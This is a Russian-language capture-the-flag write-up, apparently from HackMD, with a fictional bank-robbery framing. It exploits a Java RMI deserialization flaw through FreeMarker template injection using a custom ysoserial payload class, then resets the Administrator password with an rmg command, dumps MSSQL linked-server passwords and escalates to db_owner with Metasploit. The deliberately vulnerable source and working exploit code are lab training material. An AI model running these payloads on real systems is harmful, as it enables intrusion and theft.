У нас мало времени. В банке начали что-то подозревать, поэтому, как получишь доступ к какой-то машине, присылай нам ip-адрес. Наша команда OSINT нашла исходный код от какого-то продукта банка, может быть тебе пригодится. Исходный код расположен по ссылке.
Содержимое файла TransactionPool.java
package ru.bank.currency;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
public class TransactionPool implements Serializable {
private static final long serialVersionUID = 0L;
protected static final Logger LOGGER = LoggerFactory.getLogger(TransactionPool.class);
private ArrayList<Transaction> transactions;
public TransactionPool() {
this.transactions = new ArrayList<Transaction>();
}
public TransactionPool(ArrayList<Transaction> transactions) {
this.transactions = transactions;
}
public TransactionPool(Transaction transactions) {
this.transactions = new ArrayList<Transaction>();
this.transactions.add(transactions);
}
private class Transaction implements Serializable {
public Transaction() {
}
public int receiverid;
public int senderid;
public double amount;
private String comment;
@Override
public String toString() {
String templateStr = "Transaction: " +
"receiver: ${trans.receiverid!} " +
"amount: ${trans.amount!} " +
"sender: ${trans.senderid!} " +
"amount: ${trans.amount!} " +
"comment: " + this.comment;
Map<String, Object> data = new HashMap<String, Object>();
data.put("trans", this);
Template template;
try {
template = new Template("Transaction", new StringReader(templateStr),
new Configuration());
} catch (IOException e) {
throw new RuntimeException(e);
}
StringWriter result = new StringWriter();
try {
template.process(data, result);
} catch (TemplateException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
return result.toString();
}
}
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
ois.defaultReadObject();
LOGGER.info(this.transactions.toString()); // Logger req
}
}
Содержимое файла TransactionPoolInterface.java
public interface TransactionPoolInterface extends Remote {
String addTransactionPool(Object transactionPool) throws RemoteException;
}
На одном из серверов доступен RMI-сервис с уязвимостью десериализации класса, в методе toString()
которого используется freemarker
для шаблона строки. Он подвержен атаке SSTI. Далее после получения RCE необходимо повысить привелегии через Link на другом сервере.
Полученные файлы являются частью RMI-сервера. Один из файлов показывает сигнатуру метода addTransactionPool
, что позволяет его использовать.
С использованием Remote Method Guesser можно подтвердить наличие интерфейса из файла.
Learn More →
Уязвимость можно обнаружить в исходном коде класса Transaction
, а именно SSTI в методе toString()
с использованием поля comment
. Метод readObject()
вызывается при каждой десериализации объекта. В этом методе реализовано логгирование объектов, формат которых и обозначен в toString()
класса Transaction
.
Чтобы использовать уязвимость можно написать собственный модуль для ysoserial, который будет создавать необходимый объект для эксплуатации.
package ysoserial.payloads;
import ru.bank.currency.TransactionPool;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.util.ArrayList;
@SuppressWarnings({"rawtypes", "unchecked"})
public class TestCase extends PayloadRunner implements ObjectPayload<Object>, Serializable {
public Object getObject(final String command) throws Exception {
TransactionPool badtrans = new TransactionPool();
Class<?> c = TransactionPool.class.getDeclaredClasses()[0];
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
final Object badtran = constructor.newInstance(badtrans);
Reflections.setFieldValue(badtran, "comment", "${\"freemarker.template.utility.Execute\"?new()(\""+ command +"\")}");
ArrayList<Object> payload = new ArrayList<Object>();
payload.add(badtran);
Reflections.setFieldValue(badtrans, "transactions", payload);
return badtrans;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(TestCase.class, args);
}
}
Необходимо скомпилировать JAR-файл для работы с RMG
, после чего запустить эксплоит следующей командой:
java -jar rmg.jar serial <host> 1099 TestCase 'net user administrator 1qaz@WSX' --signature 'String addTransactionPool(Object paramObject)' --bound-name TransactionPool --yso <jar-location>
Learn More →
Пароль учетной записи Administrator
будет изменен, что позволит подключиться к хосту по RDP.
Learn More →
Выясняем, что на сервере есть СУБД MSSQL и настроен Link на соседний сервер. Скачаем Get-MSSQLLinkPasswords.psm1 и получим пароль учетной записи, от которой работает Link в открытом виде.
Learn More →
Данная учетная запись не имеет прав SysDBA на удаленном сервере MSSQL, однако стоит проверить варианты повышения привилегий.
С помощью модуля admin/mssql/mssql_escalate_dbowner в MSF можем проверить наличие привилегий db_owner и повысить привилегии в системе.
Learn More →
Отлично, теперь можем проверить свои привилегии в системе. При желании можно получить reverse shell и сделать privesc, как это было в офисе SPB.
Learn More →
Но на самом деле, можно просто прочитать флаг в описании пользователя flag.
Learn More →
Enumeration Сканируем сеть и ищем рабочие хосты: nmap -sn --min-parallelism 300 --min-rate 200 10.10.0.0/16 Видим, что имеется один сервер без домена, а также 2 домена test.spb и bank.spb. Скорее всего, тестовый домен защищен в меньшей степени и как-то связан с основным доменом. Также находим СУБД MSSQL на узле SQLTEST. SQLTEST (10.10.2.205) На узле имеется СУБД MSSQL, проверим на стойкость пароль учетной записи "sa".
Oct 3, 2022Enumeration Сканируем сеть и ищем рабочие хосты: nmap -sn --min-parallelism 300 --min-rate 200 10.10.0.0/16 Server Front (10.10.1.100) В результате сканирования замечаем подозрительный HTTP-порт 80/tcp на узле 10.10.1.100. На данном узле обнаруживается кастомный сервис для хранения файлов. Поле, принимающее путь в сети интернет до файла, уязвимо для SSRF.
Oct 2, 2022Описание А это их сервер ДБО для юридических лиц. Мы точно знаем, что где-то в приложении есть "скрытая" панель для администрирования системы. Попробуй ее найти и получить к ней доступ. Если там ты сможешь найти каких-нибудь клиентов банка, мы сможем вывести их деньги. Присылай, что найдешь. Краткое описание уязвимостей Панель администрирования обнаруживается по угадываемому URL. Используется массовое присвоение параметров модели пользователя через изменение Content-Type. Пароли от учетных записей хранятся в открытом виде. Решение Исследование сервера
Sep 30, 2022Описание Здесь расположен корпоративный портал управления сотрудниками. Нам нужно получить как можно больше информации о сотрудниках, поэтому попробуй получить доступ к системе. Кстати, забыл сказать, у нас есть мощная машина для брутфорса хешей. Краткое описание уязвимостей Доступны функции для загрузки XML-документов. XXE → SSRF2SMB PassTheHash для прохождения веб-аутентификации с помощью NTLM-хеша. SQL-инъекция в параметрах поиска. Включенный xp_cmdshell.
Sep 30, 2022or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up